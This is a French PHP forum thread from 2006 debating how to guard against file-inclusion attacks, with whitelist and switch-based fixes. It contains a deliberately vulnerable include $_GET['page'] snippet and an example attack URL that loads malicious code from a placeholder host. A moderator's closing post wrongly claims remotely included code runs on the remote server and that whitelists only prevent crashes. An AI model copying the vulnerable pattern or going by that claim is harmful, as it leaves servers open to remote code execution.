la faille INCLUDE

Mammouth du PHP | 843 Messages

17 oct. 2006, 09:00

salut à tous :)

je me pose une petite question concernant la faille include...

est il absolument necessaire de faire un file_exists() pour tout include de mon site :-k
<?php
  $filename = "./page.php";
  if (file_exists($filename)) include($filename);
?>
si quelqu'un se sent pour m'expliquer le pourquoi du comment :wink:

merci d'avance
:: contactez moi par MP ::
:non: NON au language SMS sur les forums :non:

Modérateur PHPfrance
Modérateur PHPfrance | 6037 Messages

17 oct. 2006, 09:38

Peut-être vaudrait-il mieux vérifier que le fichier existe sur ton serveur ! Donc avec le chemin absolu.
$filename = "./page.php";
  if (file_exists('/home/www/monsite/include/'.$filename)) {
     include($filename); 
}
Note : je te conseille de mettre les accolades pour les if, même avec une seule instruction : dans le futur, tu auras peut-être qqchose à ajouter, ce sera moins long si tu as déjà les accolades, et pour le débug, tu peux avoir besoin de echo 'je suis dans le if'; De plus, si qqn doit mettre le nez dans ton code, il s'y retrouvera mieux.
Règle n°2 du webmaster : Toujours commencer par le HTML qu'on veut obtenir....toujours ! :priere:
J'aime apprendre de nouvelles choses.

Eléphant du PHP | 193 Messages

17 oct. 2006, 09:42

Je ne comprends pas l'intérêt de faire ça sans else, puisque de toute façon PHP va continuer si le fichier de l'include n'existe pas. Je me trompe ou une subtilité m'échappe?

Administrateur PHPfrance
Administrateur PHPfrance | 3131 Messages

17 oct. 2006, 09:57

Tu ne cours aucun risque si tu limites les pages à inclure à une liste prédéfinie. Par exemple :
<?php

// config
$pages_possibles = array(
    'home' => '/index.php',
    'news' => '/news.php',
    'blog' => '/blog/index.php'
);
$page_par_defaut = 'home';

// récupération de la page à inclure en fonction de ?p=...
$code_page = isset($_GET['p']) ? $_GET['p'] : $page_par_defaut;
$page = isset($pages_possibles[$code_page]) ? $pages_possibles[$code_page] : $pages_possibles[$page_par_defaut];

// inclusion effective, avec les deux lignes précédentes on s'est assuré
// que le fichier faisait partie de la liste des fichiers qu'on a décidé qu'on
// pouvait inclure (le cas échéant, on "tombe" sur la page par défaut)
include $page;

?>

Modérateur PHPfrance
Modérateur PHPfrance | 6037 Messages

17 oct. 2006, 10:16

Je ne comprends pas l'intérêt de faire ça sans else, puisque de toute façon PHP va continuer si le fichier de l'include n'existe pas. Je me trompe ou une subtilité m'échappe?
Tu as raison :)
Règle n°2 du webmaster : Toujours commencer par le HTML qu'on veut obtenir....toujours ! :priere:
J'aime apprendre de nouvelles choses.

Mammouth du PHP | 843 Messages

17 oct. 2006, 11:45

merci à tous pour vos réponse :)

j'inclue des fichiers comme par exemple mes info de connexion mysql qui ce situe hors racine web... doit je m'assuré de l'autenticité de tous fichier inclue ou n'est a t'il pas plus simple d'interdire tous fichiers distants?

Dans mon cas les fichier seront soit dans un dossier specifique hors racine web, soit dans un dossier includes placer à la racine donc je peut peut être faire en sorte de bloquer tous fichier dont le chemin est different de ces 2 là?
:: contactez moi par MP ::
:non: NON au language SMS sur les forums :non:

Eléphant du PHP | 193 Messages

17 oct. 2006, 11:56

Il faut contrôler ce que tu ne maîtrises pas. Personnellement je ne fais pasde contrôles sur les fichiers que je mets dans require ou dans include, ils sont codés en dur et sont physiquement dans un répertoire auquel je suis le seul à accéder. Si quelqu'un accède là-dedans de toute manière il accède à tout et l'inclusion devient le cadet des mes soucis.

Si le fichier est choisi par un utilisateur, alors il y a sûrement plein de choses à contrôler, comme après chaque saisie.

Mammouth du PHP | 843 Messages

17 oct. 2006, 12:34

par quel moyen tu protège ton dossier, htacces?

car je suis pour le moment dans le même cas de figure que toi, donc je vais surement en faire autant :-k
:: contactez moi par MP ::
:non: NON au language SMS sur les forums :non:

Eléphant du PHP | 193 Messages

17 oct. 2006, 13:41

Ben moi je suis un peu manique, avec fichiers classés logiquement dans plein de répertoires, protégés par .htacess. Je suis loin d'être un spécialiste, mais ça me semble suffisant, surtout que, comme dit, si on arrive à lire ce fichier dans le répertoire protégé, tu as beaucoup d'autres soucis en prespective.

Modérateur PHPfrance
Modérateur PHPfrance | 2575 Messages

17 oct. 2006, 14:36

L'include n'est pas une ouverture de fichier ni une copie/coller ni une édition-lien. L'include est une demande d'exécution serveur/serveur.

Comme ça :
require ("fichier");
ou bien
require_once ("fichier"); 
ou bien
$result =  include("fichier");
if (!$result)  die ("Un fichier est manquant!");
//suite du script utilisant le résultat de l'include
ou bien
if (file_exists("fichier") && include("fichier")) {
     //traitement suivant l'include

}
else die ("Un fichier est manquant!");
N'oublier pas de renseigner une certaine include_path pour simplifier l'eguillage des appels includes dans le projet
Modifié en dernier par sadeq le 18 oct. 2006, 13:51, modifié 3 fois.
--------//////----//---//----//////
-------//---//----//---//----//---//
------//////----//////-----//////
-----||--------||--||---||
Prendre le recul n'est pas une perte de temps.


ps: Affrontez moi dans l'arène

Mammouth du PHP | 843 Messages

17 oct. 2006, 14:53

et moi qui vient juste de lire ce tutoriel: chapitre faille include

comme quoi les avis sont très partager ainsi que les méthodes :?

je vais donc pour l'instant passer outre cette "faille" et l'avenir me dira si j'ai bien fait ou non :wink:

à moins que peut être Mme IrmaLaVoyante ... :langue:

en tous cas merci à tous pour vos conseils qui m'ont quand même élargis l'espris sur ce point ;)
:: contactez moi par MP ::
:non: NON au language SMS sur les forums :non:

Tac
Invité n'ayant pas de compte PHPfrance

17 oct. 2006, 16:53

Salut tous,

Pour ma part, je ne ferais pas trop confiance à ta méthode sadeq si toutefois tu l'utilises avec un paramètre type $_GET['page']

Car dans ce cas bien précis, l'utilisateur pourra alors passer dans $_GET['page'] une valeur du type http://www.lesitepourri.com/fichierdehack.php

Ce qui veut dire que ton serveur exécutera le fichier ci-dessus... Donc bonjour les ennuis car il pourra alors exécuter ce qu'il veut comme code sur ton serveur, donc s'il est vraiment mal attentioné il pourra supprimer tous tes fichiers...

Le test du file_exists est pour moi primordial avec la notation absolu ainsi que la restriction sur les retours en arrières avec ../ dans les répertoires...

Débat fort intéressant... j'attends les autres propositions pour me faire une idée plus précise....

Mammouth du PHP | 843 Messages

17 oct. 2006, 17:00

j'enlève donc le délestage pour relancer le débat ;)

peut tu en expliquer un peut plus en détail sur les retour en arrière?
merci d'avance ;)
:: contactez moi par MP ::
:non: NON au language SMS sur les forums :non:

Eléphant du PHP | 135 Messages

18 oct. 2006, 08:59

l'exemple montrer dans ton tutoriel n'est pas très explicite...
<?php
if(isset($_GET['page']))
{
include $_GET['page'];
}
else
{
include 'accueil.php';
}
?>
ce code est déjà beaucoup plus logique pour expliquer la faille.

le gnome modifie l'url pour mettre:

Code : Tout sélectionner

http://tonSite.com/?page=http://gnome.com/fichier.txt
avec un code malicieux dedans pour explorer les fichiers présent sur ton site (par exemple).

il y a encore beaucoup de chose à dire, mais l'idée est là.


une technique comme une autre pour avoir la paix avec les gnomes:
$page = isset($_GET['page']) ? $_GET['page'] : null;

switch($page) {

 case 'contact':
  require_once('contact.php');
 break;

 default:
  require_once('pageParDefaut.php');
 break;
}
tu dois savoir aussi qu'il y a une différence entre include* et require*

require* arrête ton script si le fichier n'existe pas tandis que include* continue.


désolé si l'explication paraît bordelique :)

Modérateur PHPfrance
Modérateur PHPfrance | 2575 Messages

18 oct. 2006, 13:19

Salut tous,

Pour ma part, je ne ferais pas trop confiance à ta méthode sadeq si toutefois tu l'utilises avec un paramètre type $_GET['page']

Car dans ce cas bien précis, l'utilisateur pourra alors passer dans $_GET['page'] une valeur du type http://www.lesitepourri.com/fichierdehack.php

Ce qui veut dire que ton serveur exécutera le fichier ci-dessus... Donc bonjour les ennuis car il pourra alors exécuter ce qu'il veut comme code sur ton serveur, donc s'il est vraiment mal attentioné il pourra supprimer tous tes fichiers...

Le test du file_exists est pour moi primordial avec la notation absolu ainsi que la restriction sur les retours en arrières avec ../ dans les répertoires...

Débat fort intéressant... j'attends les autres propositions pour me faire une idée plus précise....
Pour ton exemple de $_GET... je ne suis pas du tout d'accord vu que include exécute le fichier demandé sur le serveur distant si ce dernier est désigné dans l'URL.
Le script donné dans ton exemple sera exécuté sur le serveur distant et non sur mon serveur. Dans ce cas il n'ya pas d'intrusion mais mon serveur sert de passerelle.

De toutes façons si le malintentionné veut exploiter un certain include sur une page du serveur il est obligé de connaitre son nom.

Résumé :
Que tu fasses un test file_exists(...) un die() ou un require() ou même un switch() celà ne servira qu'à éviter un crash du script et des erreurs logiques de programmation.

ps: J'ai reformulé mon ex-post pour être plus clair.
Modifié en dernier par sadeq le 18 oct. 2006, 13:52, modifié 3 fois.
--------//////----//---//----//////
-------//---//----//---//----//---//
------//////----//////-----//////
-----||--------||--||---||
Prendre le recul n'est pas une perte de temps.


ps: Affrontez moi dans l'arène